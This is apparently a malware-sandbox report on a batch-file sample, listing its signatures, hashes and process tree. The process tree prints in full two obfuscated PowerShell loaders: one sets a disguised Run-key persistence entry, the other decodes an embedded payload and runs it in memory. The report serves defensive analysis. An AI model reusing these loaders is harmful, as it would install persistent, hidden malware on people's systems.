Overview

overview

6

Static

static

1

crypted.bat

windows10-2004-x64

6

crypted.bat

windows11-ltsc_2024-x64

6

Analysis

  • max time kernel
    149s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    26/08/2026, 00:57

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    crypted.bat
  • Size 1.2MB
  • Sample260826-bbbeeaxxcz
  • SHA256 6f2cbb70249cf0bd49f494688e38d60129c8280991d7f3f8ba068d18c9ab7045
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
6/10
executionpersistence

Malware Config

Signatures

  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

    execution
  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\crypted.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:3260
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ep bypass -c "function WLmrI5aL([int[]]$c){-join([char[]]$c)};$kJBi94=WLmrI5aL(0x4D,0x56,0x39,0x4C,0x6C,0x35,0x4E);$Ax3f63yW=925475;$AnmGENFpl=$null;$o8eTtPq4=322501;$lgiQXoh=$true;$qEcbJJ=WLmrI5aL(0x6F,0x44,0x61,0x59,0x6A,0x65,0x75);$P72G4sap=$false;$SHLDt=$false;$TQifc=$false;$b1b8X4A=$true;$ei7xisD9=905224;$VHZd212=422733;$LAhc1NlJT=$true;$VlyuWgIpY=WLmrI5aL(0x67,0x46,0x76,0x31);$brIUeB=[math]::Round(9386);$piroKDi=633301;$b=$env:APPDATA+$(WLmrI5aL(0x5C,0x4D,0x69,0x63,0x72,0x6F,0x73,0x6F,0x66,0x74,0x5C,0x57,0x69,0x6E,0x64,0x6F,0x77,0x73,0x2E,0x62,0x61,0x74));$v=$(WLmrI5aL(0x63,0x6F,0x6E,0x68,0x6F,0x73,0x74,0x2E,0x65,0x78,0x65,0x20,0x2D,0x2D,0x68,0x65,0x61,0x64,0x6C,0x65,0x73,0x73,0x20,0x22))+$b+$(WLmrI5aL(0x22));$r=$(WLmrI5aL(0x48,0x4B,0x43,0x55,0x3A,0x5C,0x53,0x6F,0x66,0x74,0x77,0x61,0x72,0x65,0x5C,0x4D,0x69,0x63,0x72,0x6F,0x73,0x6F,0x66,0x74,0x5C,0x57,0x69,0x6E,0x64,0x6F,0x77,0x73,0x5C,0x43,0x75,0x72,0x72,0x65,0x6E,0x74,0x56,0x65,0x72,0x73,0x69,0x6F,0x6E,0x5C,0x52,0x75,0x6E));Set-ItemProperty -Path $r -Name $(WLmrI5aL(0x4D,0x69,0x63,0x72,0x6F,0x73,0x6F,0x66,0x74,0x55,0x70,0x64,0x61,0x74,0x65)) -Value $v;$EiJus24=WLmrI5aL(0x79,0x62,0x4B,0x49,0x46);$w61ig3mM=901629;$HrtgjO=$true;$M2BjnD0=[math]::Round(4963);$PMCuU5gBW=289359;$Hy8xtxlh=$null;$nHCv7es=84607;$aQZFTP0=$true;$RBHCKdwQU=$null;$d6n4UtmW1=WLmrI5aL(0x76,0x52,0x56);$hKK28Rw=[math]::Round(2304);$GItl8s7=[math]::Round(241);$BuBAhWAJr=$false;$rbCM5=698827;$L8Gqi=140656;$d5cxw4=WLmrI5aL(0x4F,0x5A,0x4E,0x56,0x35,0x38,0x31);$yCTmrHYzq=WLmrI5aL(0x4C,0x76,0x31,0x58,0x72)"
      2⤵
      • Adds Run key to start application
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5080
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ep bypass -c "function hd45ws4u([int[]]$c){-join([char[]]$c)};$oiqjHy5c=hd45ws4u(0x46,0x72,0x6F,0x6D,0x42,0x61,0x73,0x65,0x36,0x34,0x53,0x74,0x72,0x69,0x6E,0x67);$CMpn3G4LO=hd45ws4u(0x4C,0x6F,0x61,0x64);$BbPYWxvM=hd45ws4u(0x52,0x65,0x61,0x64,0x41,0x6C,0x6C,0x4C,0x69,0x6E,0x65,0x73);$Zpv4TU=hd45ws4u(0x44,0x65,0x63,0x6F,0x6D,0x70,0x72,0x65,0x73,0x73);$rhdn83Kpl=hd45ws4u(0x43,0x6F,0x70,0x79,0x54,0x6F);$utzbVt=hd45ws4u(0x49,0x6E,0x76,0x6F,0x6B,0x65);$ZZ4OptrX=hd45ws4u(0x45,0x6E,0x74,0x72,0x79,0x50,0x6F,0x69,0x6E,0x74);$z5pOtQK=hd45ws4u(0x4F,0x53,0x64,0x4A,0x4C,0x59);$wNy91xh4J=522423;$Zbx4gJ1=751602;$zmdgS=hd45ws4u(0x45,0x64,0x5A,0x54,0x30,0x67);$jBcUf=[math]::Round(3035);$CINkL=$null;$sbGapikn=hd45ws4u(0x6B,0x36,0x73);$HAq76W=931554;$nIueAs=hd45ws4u(0x44,0x32,0x4F,0x45,0x72,0x70);$IIHFH5s88=865138;$E4ucarb=[math]::Round(6730);$Cv841s=$false;$KsLFcLD=664723;$cyRxZ=hd45ws4u(0x55,0x42,0x70,0x71);$vxBDiJ=639483;$Qxd14RzFQ=[math]::Round(5478);$lines=[System.IO.File]::$BbPYWxvM($(hd45ws4u(0x25,0x7E,0x66,0x30)));foreach($line in $lines){if($line -like '::*'){$b=$line -replace '::';break}};$bytes=[Convert]::$oiqjHy5c($b);$ms=New-Object System.IO.MemoryStream(,$bytes);$gz=New-Object System.IO.Compression.GZipStream($ms,[System.IO.Compression.CompressionMode]::Decompress);$out=New-Object System.IO.MemoryStream;$gz.$rhdn83Kpl($out);[Reflection.Assembly]::$CMpn3G4LO($out.ToArray()).EntryPoint.$utzbVt($null,$null);$zPMcQ=$true;$RhEK6vAKJ=$true;$rpsEgw=474796;$ELIOK=$false;$qZ297=$true;$ovtw2=918382;$fI3SJ=$false;$nyEouwKe0=25300;$QTKaD=$true;$R67pgs8q=hd45ws4u(0x68,0x57,0x77);$EL9N1O=hd45ws4u(0x75,0x30,0x4B,0x65,0x43,0x62,0x54);$jMZwJ=[math]::Round(3913);$vW71yBhg=[math]::Round(2781);$riDgsE=818579;$wwbkuzsl=$null;$PpRwQyd4=$true;$JwI1r=972648;$OO1gUpk=$null;$nADS5WCJ=[math]::Round(5419);$woVmsqk=$true;$eMzL8ib=hd45ws4u(0x48,0x51,0x4D,0x65);$kXAIm=hd45ws4u(0x57,0x35,0x41,0x61,0x6D,0x41);$RgHD4rkl=$false;$FrMSXhM2h=$true;$RMXJmAE7=hd45ws4u(0x68,0x68,0x6B,0x39);$MsCnmL0Ff=hd45ws4u(0x59,0x36,0x55,0x5A);$vXUU2fc=$true"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5652

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 4e14a7b28afff95b70ba849207619ff903c6ea821b8cf2c12b589579a7d7d3af
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        memory/5080-4-0x00007FFDBBB10000-0x00007FFDBC4B4000-memory.dmp
        Download

        memory/5080-1-0x0000024431B50000-0x0000024431B72000-memory.dmp
        Download

        memory/5080-5-0x00007FFDBBB10000-0x00007FFDBC4B4000-memory.dmp
        Download

        memory/5080-6-0x00007FFDBBB10000-0x00007FFDBC4B4000-memory.dmp
        Download

        memory/5080-7-0x00007FFDBBB10000-0x00007FFDBC4B4000-memory.dmp
        Download

        memory/5080-9-0x00007FFDBBB10000-0x00007FFDBC4B4000-memory.dmp
        Download

        memory/5080-10-0x00007FFDBBB10000-0x00007FFDBC4B4000-memory.dmp
        Download

        memory/5080-0-0x00007FFDBBC9F000-0x00007FFDBBCA0000-memory.dmp
        Download

        memory/5652-11-0x00007FFDBBB10000-0x00007FFDBC4B4000-memory.dmp
        Download

        memory/5652-15-0x00007FFDBBB10000-0x00007FFDBC4B4000-memory.dmp
        Download

        memory/5652-16-0x00007FFDBBB10000-0x00007FFDBC4B4000-memory.dmp
        Download

        memory/5652-17-0x00007FFDBBB10000-0x00007FFDBC4B4000-memory.dmp
        Download

        memory/5652-18-0x00007FFDBBB10000-0x00007FFDBC4B4000-memory.dmp
        Download

        memory/5652-19-0x00007FFDBBB10000-0x00007FFDBC4B4000-memory.dmp
        Download

        memory/5652-21-0x00007FFDBBB10000-0x00007FFDBC4B4000-memory.dmp
        Download

        memory/5652-22-0x00007FFDBBB10000-0x00007FFDBC4B4000-memory.dmp
        Download

        memory/5652-23-0x00007FFDBBB10000-0x00007FFDBC4B4000-memory.dmp
        Download